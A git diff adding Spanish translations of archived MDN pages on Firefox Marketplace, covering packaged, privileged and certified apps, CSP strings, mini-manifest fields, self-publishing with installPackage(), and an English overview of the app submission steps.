+<p>A menos que usted elija usar el nombre de paquete de synthetic APK de su aplicación Android nativa, ambas pueden ser instaladas en un dispositivo Android. Si usted elige usar el mismo nombre de paquete para su aplicación Android nativa (la cual usted firmará con su propia clave) Android rechazará instalar la versión que el usuario intente instalar en segundo lugar. Esto es debido a que los nombres de paquete son iguales pero las claves de firma son diferentes, por lo que Android considera que las aplicaciones son la misma, pero de distintas fuentes. Por lo tanto Android rechazará actualizar una aplicación con la otra, ya que eso permitiría a un desarrollador anular la aplicación de otro. El usuario acabará con la primera versión instalada en su dispositivo.</p>
+<div class="warning">
+ <p>Debido a los problemas que puede causar a los usuarios, es altamente recomendado que usted no reutilice el nombre de paquete que la APK Factory asigna a su aplicación para una versión Android nativa de su aplicación.</p>
+</div>
+<h3 id="¿Cómo_puedo_testeardepurar_APKs">¿Cómo puedo testear/depurar APKs?</h3>
+<p>Estamos trabajando en una serie de herramientas para testear y depurar una aplicación en un dispositivo Adnroid. La versión inicial incluirá  una herramienta de línea de comandos basada en ndos para generar una APK que usted pueda instalar en el dispositivo y depurar usando Firefox's Remote Developer Tools.</p>
diff --git a/files/es/mozilla/marketplace/publishing/packaged_apps/index.html b/files/es/mozilla/marketplace/publishing/packaged_apps/index.html
new file mode 100644
index 0000000000..7a76aa8d98
--- /dev/null
+++ b/files/es/mozilla/marketplace/publishing/packaged_apps/index.html
@@ -0,0 +1,190 @@
+---
+title: Aplicaciones empaquetadas
+slug: Mozilla/Marketplace/Publishing/Packaged_apps
+translation_of: Archive/Mozilla/Marketplace/Options/Packaged_apps
+---
+<p>Una <strong>aplicación empaquetada</strong> es una <em>Open Web App</em> que tiene todos sus recursos (HTML, CSS, JavaScript, manifiesto y demás) empaquetados en un archivo zip, en lugar de tenerlos en un servidor web. Una aplicación empaquetada es simplemente un archivo zip con el <a href="/en-US/docs/Web/Apps/Manifest">manifiesto de la aplicacion </a>en su directorio raíz. El manifiesto debe ser llamado <code>manifest.webapp</code>.</p>
+
+<p>Una direferencia de una aplicación alojada es que una aplicación empaquetada, es que debe especificar una ruta de arranque en el manifiesto en tanto que se trata de un campo opcional en una aplicación alojada.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Actualmente (Enero 2013) Firefox Marketplace solamente soporta aplicaciones empaquetadas para Firefox OS.</p>
+</div>
+
+<h2 id="Propósito_de_las_aplicaciones_empaquetadas.">Propósito de las aplicaciones empaquetadas.</h2>
+
+<p>El propósito de una aplicación empaquetada, es tener una forma viable de proveer aplicaciones que tengan acceso a APIs sensibles en el dispositivo. Las aplicaciones deben ser verificadas por la tienda donde es distribuida (como Firefox Markerplace). La tienda revisa la aplicación y si la encuentra aceptable, firma el archivo zip de la aplicación con su llave privada. Esto da a los usuarios de la aplicación más seguridad de que han sido revisados problemas potenciales de seguridad, privacidad y capacidad.</p>
+
+<h2 id="Tipos_de_aplicaciones_empaquetadas.">Tipos de aplicaciones empaquetadas.</h2>
+
+<p>Aplicaciones privilegiadas</p>
+
+<dl>
+ <dd>Una <em>aplicación privilegiada</em> es aprobada por la Firefox Marketplace usando un proceso especial. Esto significa que provee más seguridad a los usuarios cuando la aplicación quiere accesar a ciertas APIs sensibles del dispositivo. Esto equivale a las aplicaciones nativas en plataformas como iOS o Android. Para especificar que se trata de una aplicación privilegiada agregue el campo <a href="/en-US/docs/Web/Apps/Manifest#type"><code>type</code></a> a su archivo <code>manifest.webapp</code>  y establezca el valor de <code>privileged</code>.</dd>
+ <dd>Una aplicación privilegiada tiene las siguientes características :
+ <ul>
+  <li>Es aprobada por una tienda de aplicaciones después de la revisión de código o equivalente.</li>
+  <li>Los recursos de la aplicación son firmados por la tienda de aplicaciones.</li>
+  <li>Permite usar ciertas APIs Web sensibles a las que contenido no confiable no puede accesar.</li>
+  <li>Aplica <a href="/en-US/docs/Security/CSP/Introducing_Content_Security_Policy">Politicas de seguridad de contenido</a> (CSP). Una aplicacion con privilegios utiliza estas CSP:
+   <pre>"default-src *; script-src 'self'; object-src 'none'; style-src 'self' 'unsafe-inline'"</pre>
+  </li>
+  <li>Implementa otros requisitos relacionados con la seguridad. Vea <a href="https://wiki.mozilla.org/Apps/Security">Seguridad</a> para mas informacion.</li>
+ </ul>
+ </dd>
+ <dt>Aplicación certificada</dt>
+ <dd>Una aplicacion certificada está destinada a una función crítica del sistema como el marcado por defecto o la configuración del sistema en un teléfono inteligente. Este tipo de aplicación podría ser usada para funciones críticas en un teléfono con Firefox OS. No está destinada para aplicaciones de terceros por lo que la mayoría de desarrolladores no pueden utilizarlas. Una aplicación certificada es una aplicación empaquetada similar a una con privilegios, excepto que todos los permisos del dispositivos son implícitos, lo que significa que son habilitados sin la aprobación explícita del usuario. A Una aplicación certificada debe ser aprovada por el fabricante (OEM) o compañía (carrier) para tener la aprobación implícta para usar APIs críticas. Para especificar que una aplicación es certificada, agregue el campo <a href="/en-US/docs/Web/Apps/Manifest#type"><code>type</code></a> a su archivo <code>manifest.webapp</code> y establecer su valor a <code>certified</code>.</dd>
+ <dd>Las siguientes son las CSP de una aplicación certificada, las cuales, son lígeramente direfentes de las de una con privilegios:
+ <pre>"default-src *; script-src 'self'; object-src 'none'; style-src 'self'"</pre>
+ Esto hace parecer que las reglas en las CSP son ligeramente más flexibles para las aplicaciones con privilegios que en las aplicaciones certificadas. Si quiere saber las razones de esto, vea <a href="https://wiki.mozilla.org/Apps/Security#Default_CSP_policy">las Políticas CSP por defecto </a>y <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=768029">Bug 768029</a>.</dd>
+ <dt>Aplicaciones empaquetadas planas</dt>
+ <dd>Usted también puede hacer una simple aplicación empaquetada en un archivo zip. La tienda la firma, pero no implementa el proceso especial de autenticación como en las aplicaciones certificadas o con privilegios. Estas aplicaciones no pueden usar ciertas Web APIs sensibles. Tampoco está sujeta a las CSP como las aplicaciones certificadas o con privilegios. Este tipo de aplicación puede ser útil si quiere que todos los recursos de su aplicación estén disponibles cuando el usuario la usa por primera vez sin descargarlos. Este tipo de aplicación empaquetada no requiere el campo <code>type</code> en su archivo <code>manifest.webapp</code> por que el valor por defecto para <code>type</code> (<code>web</code>) es correcto.</dd>
+</dl>
+
+<h2 id="Diferencias_con_las_aplicaciones_hospedadas">Diferencias con las aplicaciones hospedadas</h2>
+
+<p>Las aplicaciones empaquetadas tienen las mismas capacidades que las aplicaciones web de código abierto normales (aplicaciones "alojadas"), pero las aplicaciones empaquetadas tienen algunas diferencias:</p>
+
+<ul>
+ <li>No tienen origen en Internet. La política de una aplicación por origen (<em>one-app-per-origin</em>) que gobierna a las aplicaciones hospedadas no aplica para las aplicaciones empaquetadas.</li>
+ <li>Las aplicaciones empaquetadas usan un protocolo interno especial en el archivo zip: <code>app://&lt;uuid&gt;</code>. Ejemplo: Cuando usted carga el contenido de <code>/index.html</code> en una aplicacion empaquetada, en realidad esta cargando algo como lo siguiente: (el UUID sera diferente):
+  <pre>app://550e8400-e29b-41d4-a716-446655440000/index.html</pre>
+
+  <p>El UUID es generado al azar en el momento de la instalacion, lo cual significa que es único en cada dispositivo en la que es instalada la aplicación. El protocolo  <code>app://</code> será útil en futuras versiones en tiempo de ejecución, pagos y flujos de OAuth.</p>
+ </li>
+ <li>El archivo del manifiesto debe ser llamado <code>manifest.webapp</code>.</li>
+ <li>Los recursos son accedidos desde un archivo zip, el cual es almacenado en el dispositivo donde son instalados.</li>
+ <li>Son instalados con una funcion API <code>mozApps</code> diferente: <code>installPackage()</code>.</li>
+ <li>Aplican una <a href="/en-US/docs/Security/CSP/Introducing_Content_Security_Policy">CSP</a> para todo el contenido de la aplicación (una aplicación también puede usar una CPS, pero no la requiere).</li>
+ <li>También pueden incrustar contenido remoto en <code>iframes</code>, pero dicho contenido no tendrá acceso a APIs privilegiadas ni las CSP por defecto le serán aplicadas.</li>
+ <li>Tienen un proceso de actualizacion para obtener las nuevas versiones para los usuarios; las aplicaciones hospedades no lo necesitan de este proceso.</li>
+</ul>
+
+<p>Las aplicaciones empaquetadas también pueden hacer cosas como acceder a bases de datos en un servidor web como una aplicación hospedada.</p>
+
+<h2 id="Usando_APIs_Web_sensibles">Usando APIs Web sensibles</h2>
+
+<p>Hay Web APIs que pueden ser usadas maliciosamente por lo que el acceso a estas debe ser controlado. Para cada API sensible a la que se quiera acceder, ustede debe agregar una entrada al campo <code>permissions</code> en el  <a href="/en-US/docs/Web/Apps/Manifest">manifiesto de la aplicación</a>.</p>
+
+<p>Algunas APIs sensibles pueden ser accedidas por aplicaciones hospedadas normales, pero otras APIs requieren que usted use una aplicación empaquetada (con privilegios o certificada). Vea <a href="/en-US/docs/Web/Apps/App_permissions">Permisos de aplicaciones</a> para una tabla que describe los requisitos..</p>
+
+<h2 id="Aplicaciones_empaquetadas_de_la_tienda_de_Firefox_(Firefox_Marketplace).">Aplicaciones empaquetadas de la tienda de Firefox (Firefox Marketplace).</h2>
+
+<p>La tienda de Firefox (Firefox Marketplace) maneja a las aplicaciones empaquetadas de forma diferente que las aplicaciones hospedadas. Cuando usted manda una aplicación empaquetada, su archivo zip es almacenado en los servidores de la Tienda y genera un nuevo manifiesto llamado el "mini-manifiesto" que está basado en el manifiesto de la aplicación que se encuentra en el archivo zip. Cuando un usuario installa su aplicación, el mini-manifiesto es pasado a la función <code>installPackage()</code> en la aplicación instalada. El mini-manifiesto existe para propósitos de instalación y actualización y no es usado cuando la aplicación se ejecuta.</p>
+
+<h2 id="Prueba_de_instalación_de_una_aplicación_empaquetada_(con_Simulador)">Prueba de instalación de una aplicación empaquetada (con Simulador)</h2>
+
+<p>Para instalar una aplicación empaquetada en un dispositivo Firefox OS usando el simulador, vea la  <a href="/en-US/docs/Tools/Firefox_OS_Simulator#Push_to_device">sección "Push to Device" en la guía del Simulador</a>.</p>
+
+<h2 id="Prueba_de_instalación_de_una_aplicación_empaquetada_(sin_Simulador)">Prueba de instalación de una aplicación empaquetada (sin Simulador)</h2>
+
+<p>Si quieres probar localmente la instalación de tu aplicación empaquetada, aquí hay otra forma de hacerlo. Usa los siguietnes pasos para instalar una aplicación empaquetada en un teléfono usando un servidor Web que está en tu red local. Puede ser un servidor local que se ejecute en la computadora en la que estás desarrollandol. Esto también de dará una idea de cómo funciona la instalación de aplicaciones empaquetadas.</p>
+
+<h3 id="Requisitos">Requisitos</h3>
+
+<ul>
+ <li>El servidor Web debe estar en la misma red que el teléfono y debe de estar habilitado para recibir peticiones de la red local.</li>
+ <li>El teléfono debe ejecutar Firefox OS y tener el Wi-fi encendido.</li>
+ <li>Modifique las rutas usadas en el siguiente código de ejemplo para que coincidan con su servidor..</li>
+ <li>Obtenga la dirección IP de su servidor y úsela en lugar de <strong><code>&lt;server-ip&gt;</code></strong> en los siguientes ejemplos. Si el servidor no utiliza un puerto estándar, use este también. Ejemplo de una dirección IP sin un puerto estándar:
+  <pre>10.10.12.1:8080</pre>
+ </li>
+</ul>
+
+<h3 id="Pasos">Pasos</h3>
+
+<ol>
+ <li>Tenga su aplicación empaquetada disponible y dele el nombre de <code>package.zip</code>. Este archivo tiene todos los recursos, incluyendo el archivo del manifiesto.</li>
+ <li>Cree un archivo llamado <code>package.manifest</code> y agregue el siguiente contenido. Este es un mini-manifiesto usado por aplicaciones empaquetadas dentro del archivo zip. Vea <a href="#Mini-manifest_fields">Campos del mini-manifiesto</a> si quiere más información acerca de los mini-manifiestos.
+  <pre class="brush: js">{
+  "name": "My App",
+  "package_path": "http://<strong>&lt;server-ip&gt;</strong>/package.zip",
+  "version": "1.0"
+}</pre>
+ </li>
+ <li>Cree un archivo llamado <code>install.html</code> con el siguiente contenido . Este contiene el código JavaScript que llama a la aplicación empaquetada (<a href="/en-US/docs/Web/API/Apps.installPackage"><code>installPackage()</code></a>) y a las funciones <em>callbacks</em> para las notificaciones de éxito o falla.
+  <pre class="brush: html">&lt;html&gt;
+  &lt;body&gt;
+    &lt;p&gt;Packaged app installation page&lt;/p&gt;
+    &lt;script&gt;
+      // This URL must be a full url.
+      var manifestUrl = 'http://<strong>&lt;server-ip&gt;</strong>/package.manifest';
+      var req = navigator.mozApps.installPackage(manifestUrl);
+      req.onsuccess = function() {
+        alert(this.result.origin);
+      };
+      req.onerror = function() {
+        alert(this.error.name);
+      };
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+ </li>
+ <li>Copie el archivo <code>package.zip</code>, <code>package.manifest</code>, e <code>install.html</code> dentro de la carpeta raíz del documento en el servidor.</li>
+ <li>Utilice el navegador en el teléfono para abrir  <code>http://<strong>&lt;server-ip&gt;</strong>/install.html</code> y confirme la entrada para instalar la aplicación. El script le dará una la indicación de que la instalación fue exitosa o falló.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota:</strong> Si usted quiere probar aplicaciones certificadas (descritas anteriormente) encienda el "modo de desarrolador" ("developer mode")  en el dispositivo que quiera instalar la aplicación (con Firefox OS) y asegúrese de especificar el <a href="/en-US/docs/Web/Apps/Manifest#type"><code>type</code></a> correcto en su archivo <code>manifest.webapp</code>.</p>
+</div>
+
+<h2 id="Campos_del_mini-manifiesto">Campos del mini-manifiesto</h2>
+
+<p>Aqui hay un ejemplo de los campos del mini-manifiesto (mini-manifest):</p>
+
+<pre class="brush: js">{
+  "name": "My app",
+  "package_path": "http://thisdomaindoesnotexist.org/myapp.zip",
+  "version": "1.0",
+  "size": 172496,
+  "release_notes": "First release",
+  "developer": {
+    "name": "Developer Name",
+    "url": "http://thisdomaindoesnotexist.org/"
+  },
+  "locales": {
+    "fr_FR": {
+      "name": "Mon application"
+    },
+    "se_SE": {
+      "name": "Min balla app"
+    }
+  },
+  "icons": {
+    "16": "/icons/16.png",
+    "32": "/icons/32.png",
+    "256": "/icons/256.png"
+  }
+}
+</pre>
+
+<p>Cuando el Firefox Marketplace genera un mini-manifiesto para tu aplicacion,  extrae informacion desde tu manifiesto de la aplicacion para algunos campos. Usted puede encontrar documentación para estos campos en el  <a href="/en-US/docs/Web/Apps/Manifest">manifiesto de la aplicación</a>. Los campos únicos del mini-manifiesto son <code>package_path</code>, <code>release_notes</code>, y <code>size</code>. Los campos <code>name</code>, <code>version</code>, <code>developer</code>, y <code>locales</code> en su manifiesto de la aplicación deben ser exactamente los mismos que en su mini-manifiesto.</p>
+
+<p>Aquí hay información sobre el mini-manifiesto que se relaciona con su uso a nivel local para sus propias pruebas::</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>(requerido) El nombre de la aplicación. La longitud máxima es de 128 caracteres.</dd>
+ <dt><code>package_path</code></dt>
+ <dd>(Requerido) Una URL completa donde el zip de la aplicación puede ser encontrado.</dd>
+ <dt><code>version</code></dt>
+ <dd>La versión de la aplicación.</dd>
+ <dt><code>size</code></dt>
+ <dd>El tamaño del zip de la aplicación en bytes. No es necesario para las pruebas locales pero se utiliza para mostrar una barra de progreso durante la instalación.</dd>
+ <dt><code>release_notes</code></dt>
+ <dd>Información acerca del lanzamiento de la aplicación. En el Marketplace esta información proviene de la página web que es parte del proceso de envío..</dd>
+ <dt><code>developer</code></dt>
+ <dd>Información acerca del desarrolador, contiene los campos <code>name</code> y <code>url</code>.</dd>
+ <dt><code>locales</code></dt>
+ <dd>Información de localización.</dd>
+ <dt><code>icons</code></dt>
+ <dd>Iconos usados por la aplicación.</dd>
+</dl>
+
+<h2 id="Actualizando_aplicaciones_empaquetadas">Actualizando aplicaciones empaquetadas</h2>
+
+<p>Para información sobre actualizar aplicaciones, vea <a href="/en-US/docs/Web/Apps/Updating_apps">Actualizando aplicaciones</a>.</p>
+
+<h2 id="Ejemplo_de_aplicación_empaquetada">Ejemplo de aplicación empaquetada</h2>
+
+<p><a href="https://github.com/robnyman/Firefox-OS-Boilerplate-App" title="https://github.com/robnyman/Firefox-OS-Boilerplate-App">Firefox OS Boilerplate App</a></p>
diff --git a/files/es/mozilla/marketplace/publishing/publish_options/index.html b/files/es/mozilla/marketplace/publishing/publish_options/index.html
new file mode 100644
index 0000000000..fbe32dff00
--- /dev/null
+++ b/files/es/mozilla/marketplace/publishing/publish_options/index.html
@@ -0,0 +1,70 @@
+---
+title: Opciones para la publicación de aplicaciones
+slug: Mozilla/Marketplace/Publishing/Publish_options
+tags:
+  - Apps
+  - Marketplace
+translation_of: Archive/Mozilla/Marketplace/Options/Self_publishing
+---
+<div class="summary">
+ <p>Una vez usted ha finalizado su aplicación es necesario publicarla para que este disponible para el usuario final (sin importar que se utilice como una página Web desde el navegador o sea descargada y utilizada en un dispositivo como un teléfono con Firefox OS), suministrando información de soporte  como instrucciones de uso y otros recursos. Este articulo muestra brevemente las diferentes opciones disponibles para usted.</p>
+</div>
+<h2 id="Publicando_en_el_Marketplace_de_Firefox">Publicando en el Marketplace de Firefox</h2>
+<p>El <a href="https://marketplace.firefox.com/" title="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Marketplace de Firefox</a> es nuestra tienda para distribuir aplicaciones tanto gratuitas como de pago. <a href="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Enviar una aplicación al Marketplace de Firefox</a> es un proceso simple, la carga a la tienda implica la subida de la aplicación conjuntamente con su información complementaria, luego espere mientras su aplicación pasa a través del proceso de revisión para segurar su calidad y que no contenga código malicioso. El envió al Marketplace de Firefox también confiere una serie de ventajas como el incremento de publicidad, tampoco es necesario implementar APIs especiales en su sitio Web, y la posibilidad de publicar aplicaciones de pago. Usted puede enviar tanto aplicaciones empaquetadas como aplicaciones hosteadas al Marketplace de Firefox.</p>
+<h3 id="Aplicaciones_hosteadas">Aplicaciones hosteadas</h3>
+<p>Una aplicación hosteada es básicamente una página almacenada en un servidor Web que puede utilizarse como una aplicación (el termino hosteada viene del ingles hosting). Si usted quiere permitir a las personas instalar su aplicación directamente desde su Web, usted debe implementar <a href="/en-US/Apps/Developing/JavaScript_API"> algo de código JavaScript</a> en su sitio Web para administrar la instalación y/o actualización de la aplicación en el navegador de los usuarios, asegúrese también que el código de su aplicación incluya un archivo de manifiesto válido. Por favor vea nuestros <a href="/en-US/docs/Web/Apps/Introduction_to_open_web_apps#Manifest" title="/en-US/docs/Web/Apps/Introduction_to_open_web_apps#Manifest">archivos de manifiesto</a> y nuestras  <a href="/en-US/docs/Web/Apps/Introduction_to_open_web_apps#Install_API_functionality" title="/en-US/docs/Web/Apps/Introduction_to_open_web_apps#Install_API_functionality">APIs de instalación</a> para ver los pasos para implementar estas funciones.</p>
+<p>El lugar que usted escoja para almacenar su aplicación queda enteramente a su conveniencia, pero las dos opciones que mostraremos a continuación son las mas comunes y convenientes.</p>
+<h4 id="GitHub">GitHub</h4>
+<p>Si tu aplicación Web es puramente estática (HTML/CSS/JavaScript, pero sin procesamiento del lado del servidor), <a href="http://pages.github.com" rel="external">GitHub Pages</a> es una opción bastante confiable. si usted usa una extensión <code>.webapp </code>esta plataforma entregara su manifiesto con <a href="/en-US/Apps/Developing/Manifest#Serving_from_GitHub">correspondiente tipo de MIME</a>.</p>
+<h4 id="Soluciones_genéricas_de_hosting">Soluciones genéricas de hosting</h4>
+<p>Para sitios Web dinámicos use la opción de hosting genérico (como un servidor Web de su propiedad o uno al que tenga acceso) con las capacidades necesarias o un proveedor de hosting  específicamente adaptado a las necesidades de su aplicación, como por ejemplo <a href="http://www.heroku.com" rel="external">Heroku</a> o <a href="http://code.google.com/appengine" rel="external">Google App Engine</a>.</p>
+<div class="note">
+ <p><strong>Nota</strong>: Las aplicaciones Web instalables tienen una política de seguridad llamada "una aplicación por origen" ; básicamente usted no puede almacenar mas de una aplicación por origen. Esto hace el proceso de pruebas un poco mas difícil, pero siempre podrá crear un sub-dominio para cada aplicación y utilizar el simulador de Firefox OS o Firefox Aurora (que permites instalar aplicaciones Web el en escritorio) para probarlas. Vea las <a href="/en-US/docs/Web/Apps/FAQs/About_app_manifests">FAQs acerca del manifiesto de aplicaciones</a> para mas información sobre los orígenes.</p>
+</div>
+<h3 id="Aplicaciones_empaquetadas">Aplicaciones empaquetadas</h3>
+<p>Una aplicación empaquetada es una Web que tiene todos sus recursos (HTML, CSS, JavaScript, manifiesto, etc.) contenidos en un archivo zip en lugar de tener esos recursos alojados en un servidor Web. Una aplicación empaquetada es simplemente un archivo zip con el <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest">manifiesto de la aplicación</a> en su directorio raíz. El manifiesto debe llamarse <code>manifest.webapp</code>.</p>
+<p>Una diferencia con las aplicaciones hosteadas es que usted debe especificar un <code><a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Manifest#launch_path">launch_path</a></code> en el manifiesto, y en las aplicaciones hosteadas esto es un campo opcional. Para mayor información vea nuestro articulo sobre <a href="/en-US/docs/Web/Apps/Publishing/Packaged_Apps" title="/en-US/docs/Web/Apps/Publishing/Packaged_Apps">Aplicaciones empaquetadas</a>.</p>
+<h2 id="Aplicaciones_auto-publicadas">Aplicaciones auto-publicadas</h2>
+<p>Usted además puede elegir la opción de auto-publicar. Para aplicaciones hosteadas, esto solo involucra colocarla en un hosting como se indica a continuación.</p>
+<p>Usted puede auto-publicar una aplicación empaquetada solo colocándola en un servidor conjuntamente con un mini manifiesto en el mismo directorio donde se encuentra y que será usado al instalar la aplicación. Veamos este proceso:</p>
+<ol>
+ <li>Tener el zip de la aplicación empaquetada con el nombre <code>package.zip</code>. Este archivo contiene todos los recursos de la aplicación así como también su manifiesto.</li>
+ <li>Cree un archivo llamado <code>package.manifest</code> con el siguiente contenido. Este es un mini manifiesto usado para la instalación de aplicaciones empaquetadas. No es el manifiesto principal, el cual se encuentra dentro del archivo zip.<br>
+  <pre class="brush: js">{
+    "name": "My sample app",
+    "package_path" : "http://my-server.com/my-app-directory/my-app.zip",
+    "version": "1",
+    "developer": {
+        "name": "Chris Mills",
+        "url": "http://my-server.com"
+    }
+}</pre>
+ </li>
+ <li>Cree un archivo llamado <code>index.html</code> con el siguiente contenido. Este contiene un ejemplo del JavaScript que llama a la aplicación empaquetada (<a href="/en-US/docs/Web/API/Apps.installPackage"><code>installPackage()</code></a>) y devuelve la llamada en caso de éxito y notificación de errores.
+  <pre class="brush: html">&lt;html&gt;
+  &lt;body&gt;
+    &lt;p&gt;Packaged app installation page&lt;/p&gt;
+    &lt;script&gt;
+      // This URL must be a full url.
+      var manifestUrl = 'http://my-server.com/my-app-directory/package.manifest';
+      var req = navigator.mozApps.installPackage(manifestUrl);
+      req.onsuccess = function() {
+        alert(this.result.origin);
+      };
+      req.onerror = function() {
+        alert(this.error.name);
+      };
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+ </li>
+ <li>Copie <code>package.zip</code>, <code>package.manifest</code>, y <code>index.html</code> en la raíz del directorio de su aplicación (<code>my-app-directory</code> en este ejemplo).</li>
+ <li>Utilizando un dispositivo compatible (como un teléfono con Firefox OS), navegue hasta la localización en su servidor donde usted coloco los archivos de ejemplo y confirme cuando se le pregunte para completar la instalación. El script le dará una indicación en caso de completarse exitosamente o de una falla.</li>
+</ol>
+<div class="note">
+ <p><strong>Nota:</strong> Usted no puede instalar aplicaciones privilegiadas o certificadas desde paquetes auto-publicados ya que ellas necesitan ser firmadas durante el proceso de publicación del Marketplace de Firefox.</p>
+</div>
+<div class="note">
+ <p><strong>Nota</strong>: Usted incluso puede <a href="/en-US/docs/Web/Apps/Creating_a_store" title="/en-US/docs/Web/Apps/Creating_a_store">crear su propia tienda de aplicaciones</a>, ya que dispone de una serie de opciones para hacerlo.</p>
+</div>
+<p> </p>
diff --git a/files/es/mozilla/marketplace/publishing/submit/index.html b/files/es/mozilla/marketplace/publishing/submit/index.html
new file mode 100644
index 0000000000..265a1ad776
--- /dev/null
+++ b/files/es/mozilla/marketplace/publishing/submit/index.html
@@ -0,0 +1,10 @@
+---
+title: Submit
+slug: Mozilla/Marketplace/Publishing/Submit
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace/Publishing/Submit
+---
+<p>This section describes the process for submitting an app to Firefox Marketplace</p>
+<p>Residual details: <a href="/en-US/Marketplace/Publishing/Submit/Submitting_an_app">https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Submitting_an_app</a></p>
diff --git a/files/es/mozilla/marketplace/publishing/submit/overview/index.html b/files/es/mozilla/marketplace/publishing/submit/overview/index.html
new file mode 100644
index 0000000000..5c2877d8f6
--- /dev/null
+++ b/files/es/mozilla/marketplace/publishing/submit/overview/index.html
@@ -0,0 +1,122 @@
+---
+title: Overview
+slug: Mozilla/Marketplace/Publishing/Submit/Overview
+translation_of: Archive/Mozilla/Marketplace/Publishing/Submit/Overview
+---
+<div class="summary">
+<p>To make your apps available on Firefox Marketplace, each one needs to be submitted to Marketplace and reviewed before it's published. <span class="seoSummary">This page provides an overview to the processes involved in submitting an app to Firefox Marketplace.</span> Subsequent pages provide additional detail on each step.</p>
+</div>
+
+<div class="note">
+<p>For more details on each step of the process, please follow the links on the step heading or start the process from step 1. A diagrammatic representation of the steps is offered at the bottom of this page.</p>
+</div>
+
+<p>You can also follow the submission process in this video: <a class="video-item" href="http://s.vid.ly/embeded.html?link=8k2n4w&amp;autoplay=false">http://vid.ly/8k2n4w</a></p>
+
+<h2 id="The_process">The process</h2>
+
+<p>So you want to submit your app to Firefox Marketplace, let's get started:</p>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Publishing/Submit/Sign-in_to_your_developer_account">Step 1 - Sign in to your Developer account</a></dt>
+ <dd>
+ <ul>
+  <li>Go to the <a class="external external-icon" href="https://marketplace.firefox.com/developers/">Firefox Marketplace Developer Hub.</a></li>
+  <li>Click <a class="button" href="https://marketplace.firefox.com/developers/submit/">Submit your app to the Marketplace </a></li>
+  <li>Sign in to your developer account:
+   <ul>
+    <li>If you aren't registered you'll be asked to register.</li>
+    <li>If you haven't done so already, you'll be asked to agree to the Firefox Marketplace Developer Agreement.</li>
+   </ul>
+  </li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/Marketplace/Publishing/Submit/Load_your_app">Step 2 - Load your app</a></dt>
+ <dd>On the <strong>Submit an app</strong> page:
+ <ul>
+  <li>Select whether the app is free or paid.</li>
+  <li>Select the platforms the app will be available on.</li>
+  <li>Select whether the app is hosted or packaged then:
+   <ul>
+    <li>For a hosted app, provide the link to its manifest file.</li>
+    <li>For a packaged app, upload the <code>package.zip</code> file, and once it has been validated, identify the minimum API requirements.</li>
+   </ul>
+  </li>
+  <li>Click <strong>Continue</strong>.</li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/Marketplace/Publishing/Submit/Enter_your_apps_details">Step 3 - Enter your app's details</a></dt>
+ <dd>
+ <p>On the <strong>Edit App Details</strong> page:</p>
+
+ <ul>
+  <li>Modify the app URL if you wish.</li>
+  <li>Modify the description (provided in the manifest) if you wish.</li>
+  <li>Select one or two categories.</li>
+  <li>Provide a Privacy Policy.</li>
+  <li>Defined a home page and support website if you have them.</li>
+  <li>Provide a support email address.</li>
+  <li>Indicate whether the app requires Flash support.</li>
+  <li>Add at least one screenshot or video.</li>
+  <li>Provide additional comments for the app reviewer (such as sign in details if the app requires them) - note you'll only be able to modify these notes by submitting a new version of the app.</li>
+  <li>Select whether the app will be published as soon as approved - note you'll only be able to modify this setting by submitting a new version of the app.</li>
+  <li>Click <strong>Continue</strong>.</li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/Marketplace/Publishing/Submit/Next_steps">Step 4 - See details of the next steps</a></dt>
+ <dd>On the <strong>Next Steps</strong> page click <strong>Continue</strong>.</dd>
+ <dt><a href="/en-US/Marketplace/Publishing/Submit/Rating_Your_Content">Step 5 - Obtain a content rating</a></dt>
+ <dd>On the <strong>Content Ratings</strong> page:
+ <ul>
+  <li>to obtain a new rating click <strong>Create an IARC Ratings Certificate</strong> and on the IARC Web site, complete the ratings questionnaire.</li>
+  <li>to enter a rating you've already obtained provide its <strong>Submission ID</strong> and <strong>Security Code</strong>.</li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/Marketplace/Publishing/Pricing/Introduction">Step 6 - Update availability and payment details</a></dt>
+ <dt style="margin-left: 40px;">Step 6a - If the app is free (and doesn't include in-app purchases):</dt>
+ <dd style="margin-left: 40px;">On the left hand menu, click <strong>Compatibility</strong>. Change the countries the app will be available in if you wish.</dd>
+ <dt style="margin-left: 40px;">Step 6b - If the app is paid (or free, but includes in app payments):</dt>
+ <dd style="margin-left: 40px;">On the left hand menu, click <strong>Compatibility &amp; Payments</strong>
+ <ul>
+  <li>Setup your payment provider accounts, such as Bango and Boku.</li>
+  <li>Set the price, identify whether the app includes in-app products and select the countries the app will be available in.</li>
+  <li>If the app is being offered as a premium upgrade to a free app, identify the free app.</li>
+ </ul>
+ </dd>
+ <dt style="margin-left: 40px;">Step 6c - If the app includes in-app products:</dt>
+ <dd style="margin-left: 40px;">
+ <ul>
+  <li>On the left hand menu click <strong>In-App Payments</strong> and obtain your API key and secret. (Note that you'll have to <a href="/en-US/Marketplace/Publishing/Updating_apps">submit an update</a> to your app once the API key and secret have been added to it, for more details see <a href="/en-US/Marketplace/Monetization/In-app_payments">In-app payments</a>.)</li>
+  <li>If you're using <a href="/en-US/Marketplace/Monetization/In-app_payments_section/fxPay_iap">fxPay</a>, on the left hand menu click <strong>In-App Products</strong> and define each of your in-app products.</li>
+ </ul>
+ </dd>
+ <dt><a href="/en-US/Marketplace/Publishing/Submit/Define_your_team">Step 7 - Setup team member (optional)</a></dt>
+ <dd>On the left hand menu, click <strong>Team Members</strong> and add any additional team member if you wish.</dd>
+ <dt><a href="/en-US/Marketplace/Publishing/Submit/View_your_listing">Step 8 - View the listing (optional)</a></dt>
+ <dd>On the left hand menu, click <strong>View Listing</strong> and view your app's Marketplace listing if you wish.</dd>
